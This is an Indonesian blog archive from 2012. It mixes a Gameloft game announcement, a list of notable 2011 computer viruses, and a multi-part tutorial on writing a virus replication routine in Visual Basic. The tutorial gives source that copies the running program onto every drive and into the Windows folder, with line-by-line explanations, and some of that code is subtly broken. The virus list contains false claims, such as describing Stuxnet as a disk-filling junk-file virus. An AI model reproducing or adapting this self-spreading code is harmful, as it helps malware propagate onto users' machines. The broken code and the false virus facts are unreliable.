Senin, 11 Juni 2012

Game Men in Black 3 dan Asphalt 7:Heat Siap Diluncurkan Tanggal 17 Mei di iOS dan Android.


Game Men in Black 3 dan Asphalt 7:Heat Siap Diluncurkan Tanggal 17 Mei di iOS dan Android.
 
Gameloft mengumumkan bahwa pihaknya tengah menyiapkan dua game terbaru untuk mobile phone. Game yang pertama adalah game seri lanjutan dari Asphalt dengan judul Asphalt 7:Heat, dan game yang satunya lagi adalah game terbaru dengan judul Man in Black 3.
Kedua game tersebut akan diluncurkan tanggal 17 Mei nanti di iPhone, iPad dan handset Android. Game Man in Black 3 dikabarkan akan tersedia secara gratis tapi untuk mendapatkan Asphalt 7: Heat, anda harus merogoh kocek terlebih dahulu. Dalam game Man in Black 3, pemain akan bertugas menjadi seorang agen yang harus melawan alien yang mengancam bumi.

Pada awal Mei 2012 secara resmi pihak Gameloft mengumumkan trailer dari game terbaru mereka untuk Android yaitu Men In Black 3. Dan kini Game Android Men In Black 3 Hadir di Play Store Google untuk dimainkan para pengguna ponsel Android. Dalam game ini  akan memerankan seorang agen rahasia dengan memakai pakaian dan sepatu serba hitam dan mempunyai tugas sebagai seorang agen rahasia yang harus menumpas alien yang membahayakan bumi.
Banyak sekali fitur yang tersedia dalam game android Men In Black 3 ini. Dan berikut ini adalah beberapa fitur yang terdapat dalam game Men In Black 3.
  • Melatih agen Anda dan memberi mereka misi.
  • Mengakses senjata MIB dan gadgetseperti Neutralyzer, Detomizer dan Noisy Cricket.
  • Membangun belasan ruang berbeda untuk upgrade senjata dan mengembangkan agen.
  • Melewati ruang waktu untuk membasmi Alien di beberapa wilayah New York.
  • Mempersenjatai agen Anda denga senjata dan peralatan masa depan.
  • Mengundang teman Anda dari Gameloft LIVE & Facebook untuk bermain.
  • Meminta bantuan teman untuk mengalahkan alien yang kuat.
  • Mengunjungi pangkalan teman Anda dan mendapatkan hadiah.






Rabu, 06 Juni 2012

Virus Komputer Paling Ganas Tahun 2011


Virus Komputer Paling Ganas Tahun 2011 diantaranya:

1. Stuxnet, merupakan salah satu virus yang cukup heboh karena efek yang cukup nyata. Dengan membuat space hardisk menjadi habis sehingga memunculkan peringatan “Low Disk Space”. Hal ini karena Stuxnet membuat file sampah berukuran besar yang terus membengkak.

2. Ramnit, merupakan salah satu virus yang telah sukses menggantikan peran Sality di awal tahun 2011 dalam menginfeksi komputer dan file executable. Sejak Januari hingga saat ini, sudah banyak komputer yang telah terinfeksi virus ini.

3. Webmoner, virus ini memiliki kemiripan dengan Ramnit yaitu membuat 4 file shortcut, tetapi file virus pemicunya justru memiliki extension sys yaitu file mso.sys.

4. Sedangkan FontAgent juga memiliki file shortcut, hanya saja file virus pemicunya justru memiliki extension fon (Font file) seperti setup50045.fon atau setup50039.fon.
Demam Facebook juga ikut merambah metode penyerangan virus di tahun 2011 ini. Dengan memanfaatkan fungsi status dan Facebook Chat, banyak hal yang terjadi seperti pishing (artikel Pishing FB Chat), celah XSS (artikel XSS), scam (artikel Scam) hingga penyebaran malware.

5. Kolab, merupakan virus Facebook Chat yang cukup heboh karena memiliki kemampuan metamorphic. Setiap malware yang disebarkan melalui FB Chat, walaupun memiliki ukuran dan nama yang sama, tetapi justru memiliki algoritma hash yang berbeda.
Selain itu, Kolab memanfaatkan teknik FakeURL (link palsu) seolah-olah pengguna komputer mendownload file gambar (JPG), padahal yang diunduh adalah virus.

6. FakeAV, salah satu virus yang cukup terkenal sejak 2 tahun lalu juga tidak mau kalah di tahun ini. Tercatat 2 artikel telah dipublish oleh Vaksincom terhadap serangan varian malware ini.
FakeAV merupakan virus yang menggunakan metode aplikasi keamanan palsu (antivirus palsu) untuk mengelabui pengguna komputer dengan notifikasi dan pesan-pesan bahwa komputer telah terinfeksi virus dan meminta pengguna komputer untuk mengaktifkan antivirus palsu tersebut dengan cara melakukan pembayaran online.

7. Slugin, salah satu varian virus yang menyebarkan spam juga ikut meramaikan persaingan di tahun 2011. Jika di tahun-tahun sebelumnya ada Virut, maka tahun ini Slugin menjadi biang dari penyebaran spam yang tidak jelas.
Dengan memanfaatkan akun email pengguna komputer yang terinfeksi, maka Slugin mengirimkan spam kepada kontak-kontak yang dimiliki oleh pengguna komputer tersebut.

8. BitCoinMiner/DorkBot, inilah trojan Zbot pencari uang yang cukup handal. Dengan adanya mata uang digital, dan adanya pula program bisnis penghasil uang dengan cara menambang (bitcoin mining), pembuat virus menjadikan hal ini sebagai salah satu cara yang cukup praktis.
Dengan melakukan BitCoin Mining pada ribuan komputer terinfeksi, maka akan dengan mudah menghasilkan uang yang cukup banyak. BitCoinMiner sendiri memiliki 2 varian virus yang pertama menggunakan icon abjad pada file virus sebagai penyebaran.
Sedangkan varian kedua menggunakan metode dari Kolab dengan menyebarkan file virus melalui Facebook Chat. File tersebut pun berbeda, karena menggunakan icon wanita sexy untuk menarik perhatian.

9. MacSecurity, varian virus ini cukup heboh di pertengahan tahun 2011 karena memiliki 5 varian yang berbeda tetapi sama yaitu MacDefender, MacGuard, MacProtector, MacShield dan MacSecurity.
Memiliki karakter yang sama seperti FakeAV yang berjalan di Windows, MacSecurity mengelabui pengguna komputer dengan notifikasi dan pesan-pesan bahwa komputer telah terinfeksi virus dan meminta pengguna komputer untuk mengaktifkan antivirus palsu tersebut dengan cara melakukan pembayaran online.

10. Virus Android, bak menggantikan peran dari Windows Mobile, Android di tahun ini cukup meroket dan bahkan hampir setiap hari banyak aplikasi yang dibuat khusus untuk sistem operasi tersebut.
Tetapi justru hal tersebut menjadi buah simalakama karena di antara jutaan aplikasi itu merupakan virus jejadian. Di awali dari trojan Android.

Plankton yang menyerang menggunakan nama aplikasi game Angry Birds, hingga Android.Gongfu, Android.Wukong, Android.SmsSend dan Android.DreamExploid yang banyak menyerang aplikasi-aplikasi, terutama game.

 



Selasa, 05 Juni 2012

Penjelasan Kode II

Private Sub kodepengganda()
//Deklarasi fungsi kode pengganda.

''///mengecek drive dan mengcopy  file penanda
     Dim ictr As Integer
//Deklarasi variabel ictr dengan tipe integer.

     Dim  sDrive As String
//Deklarasi variabel sDrive dengan tipe string.

     Dim x  As Byte
//Deklarasi variabel x dengan tipe Byte.

     ReDim  sDrives (0) As String
//Deklarasi variabel sDrive dengan tipe string dan jenisnya array,karena ada”(0)” setelah sDrives.

For ictr  =  65 To 90
//Untuk variabel ictr yang bernilai 65 sampai 90,kerjakan perintah dibawahnya,angka 65 dan
  90 merupakan ascii dari huruf “a” dan “z”, berguna untuk mencari drive,karena dalm 
   windows  drive dilambangkan dengan abjaad.

      sDrive = Chr (ictr) & ":\"
//Memberi niali  variabel sDrive dengan Chr(ictr) dan karaakter “:\”,Misalnya ictr bernilai 65 maka ictr akan dikonversi ke string “a” sesuai dengan nilainya dan digabungkan dengan karakter “:\” sehingga menjadi “a:\”,

           If DriveType (sDrive) <> "Drive Doesn’t  Exist"  Then
//Jika Tipe drive bernilai tidak sama dengan “Drive Doesn’t Exist” maka kerjakan perintah dibawahnya.Drive Doesn’t  Exist  maksudnyaa drive tidak dikenali.

         On Error Resume Next
//Tetap menjalankan perintah sesudah kode dibawahnya walaupun perintah tersebut salah .

       FileCopy App.path & "\" & App.EXEName & ".exe",sDrive & "tes.exe"
//Mengcopy atau menyebarkan file virus ke drive tujuan,floppy disk,flashdisk ataupun hardisk.

           End If
//Mengakhiri perintaf if.

Next
//Kembali ke perintah for sampai nilai variabel ictr samadengan 90.

End Sub
//Akhiri dari sub program.

      Private Sub kopikewindows()
//Sub program dengan nama kopikewindows  dengan type private.

        ''/// /mengcopy file virus atau penanda ke directory windows
        Dim buffer As  String * 255
//Deklarasi variabel buffer dengan type data string yang diisi dengan nilai 255.

        Dim  x As Long
//Deklarasi variabel x dengan type long.

   x = GetWindowsDirectory(buffer,255)
//Memberi nilai variabel x dengan nilai hasil dari operasi fungsi GetWindowsDirectory.

   On Error Resume Next
//Perintah untuk melanjutkan operasi jika terjadi kesalahan.

FileCopy App.Path & "\" & App.EXEName & ".exe",Left(buffer,x) &_
"\tes_di_directory_windows.exe"
//Mengcopy program virus ke directory dimana windows diinstal.

   End Sub
//Akhir dari sub program kopikewindows.
 
   Private Sub Commond5_Clik()
//Deklarasi button commond5,event akan jalan jika tombol/klik  button.

   Kopikewindows
//Memanggil sub program kopikewindows.

   Kodepengganda
//Memanggil sub program kedepengganda.

   MsgBox "Kode Berhasil Dijalankan",0, "Berhasil"
//Memunculkan kotak pesan “Kode Berhasil Dijalankan”.

End Sub
//  Akhir dari sub program commond5_Clik
referensi:Aat Sadewa,seni pemrograman virus menggunakan visual basic,virologi.info,Yogyakarta

   









Minggu, 03 Juni 2012

Penjelasan Kode

Penjelasan Kode :

Private Declare Function GetDriveType Lib "kernel32"_
Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
// Mendeklarasikan Fungsi API GetDriveType yang berguna untuk mengambil informasi 
   drive termasuk jenis apa.//

Private Declare Function GetWindowsDirectory_
Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As
String, ByVal nSize As Long) As Long
// Mendeklarasikan  Fungsi API GetWindowsDirectory yang berguna untuk mengambil
   informasi system Operasi windows terletak di direktori mana.//

Private Function  DriveType (Drive As String) As String
// Mendeklarasikan Fungsi DriveType dengan tipe data variabel string.//

     ''////fungsi mengecek drive
     Dim sAns As String,1Ans As Long
// Mendeklarasikan variable sAns dengan tipe data string dan variable |Ans dengan tipe data
   Long integer.//

     'fix bad parameter values
     If Len (Drive) = 1 Then Drive = Drive & ":\"
//Mengecek jika panjang drive(variable dari  Fungsi DriveType) adalah 1 maka variable drive 
  akan bernilai drive ditambah karakter  ":\ (tanpa tanda kutip).Maksudnya kadaang 
  dalam windows  drive dengan karakter  "c"  (tanpa tanda kutip) atau  "c". Untuk mengatasi 
  hal tersebut maka diberi handle error seoerti kode di atas.Misal drive terdeteksi sebaagai 
  karakter  "c", maka karakter "c akan ditambah karakter  ":\" sehingga akan menjadi "c:\".


     If Len (Drive) = 2 And Right$ (Drive,1) = ":\"_
         Then Drive = Drive & "\"
// Mengecek jika panjang drive(variabel dari  Fungsi DriveType) adalah 2 dan karakter drive
   diambil  dari kanan adalah ":" maka variabel drive akan bernilai  drive ditambah karakter 
   "\". Misal drive terdeteksi  sebagi karakter  "c:", maka karakter "c:" akan ditambah  
   karakter  "\"  sehingga menjadi "c:\".

     1Ans = GetDriveTpye (Drive)
// Mendeklarasikan variable  berisi |Ans berisi tipe drive dari variabel “Drive”.kode ini 
   berfungsi untuk mengetahui tipe drive tersebut  adalah cd-rom,floppy,atau hardisk.misalnya
   anggap saja variabel Drive adalah  "c: ",maka  komputer "c: " akan mencari tahu tipe drive  "c:\" 
   itu termasuk CD-ROM,Floppydisk atau Hardisk.

     Select Case 1Ans
      Case 2
        sAns = "Removable Drive"
      Case 3
        sAns = "Fixed Drive"
      Case 4
        sAns = "Remote Drive"
      Case 5
        sAns = "CD-ROM"
      Case 6
        sAns = "RAM Disk"
      Case Else
        sAns = "Drive Doesn’t Exist"
      End Select
     
      DriveType = sAns
//Keterangan daridrive yang ada di CPU atau komputer apakah termasuk tipe Removable Drive (Floppy,Flashdisk,dll),fixed Drive (Hardisk),Remote drive(drive yang dimapping),CD_ROM,RAM  Disk (Zip Drive),atau Drive Doesn’t  Exist (Drive tidak ada).

      DriveType = sAns
// Mendeklarasikan Fungsi DriveType  dari variable sAns yang didapat.


End Function
// Akhir dari Fungsi.

Sabtu, 02 Juni 2012

Membuat Kode Pengganda Virus.

Private Sub kodepengganda()
''///mengecek drive dan mengcopy  file penanda
     Dim ictr As Integer
     Dim  sDrive As String
     Dim x  As Byte
     ReDim  sDrives (0) As String
For ictr  =  65 To 90
      sDrive = Chr (ictr) & ":\"
     
      If DriveType (sDrive) <> "Drive Doesn’t  Exist"  Then
         On Error Resume Next
       FileCopy App.path & "\" & App.EXEName & ".exe",sDrive & "tes.exe"
           End If
Next
End Sub

      Private Sub kopikewindows()
        ''/// /mengcopy file virus atau penanda ke directory windows
        Dim buffer As  String * 255
        Dim  x As Long
   x = GetWindowsDirectory(buffer,255)
   On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe",Left(buffer,x) &_
"\tes_di_directory_windows.exe"
   End Sub
  
   Private Sub Commond5_Clik()
   Kopikewindows
   Kodepengganda
   MsgBox "Kode Berhasil Dijalankan",0, "Berhasil"
End Sub
      

Jumat, 01 Juni 2012

Membuat Kode Penggandaan Virus


Private Declare Function GetDriveType Lib "kernel32"_
Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetWindowsDirectory_
Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As
String, ByVal nSize As Long) As Long

Private Function  DriveType (Drive As String) As String
     ''////fungsi mengecek drive
     Dim sAns As String,1Ans As Long
     'fix bad parameter values
     If Len (Drive) = 1 Then Drive = Drive & ":\"
     If Len (Drive) = 2 And Right$ (Drive,1) = ":\"_
         Then Drive = Drive & "\"
     1Ans = GetDriveTpye (Drive)
     Select Case 1Ans
      Case 2
        sAns = "Removable Drive"
      Case 3
        sAns = "Fixed Drive"
      Case 4
        sAns = "Remote Drive"
      Case 5
        sAns = "CD-ROM"
      Case 6
        sAns = "RAM Disk"
      Case Else
        sAns = "Drive Doesn’t Exist"
      End Select
     
      DriveType = sAns
End Function
                                       Next----->>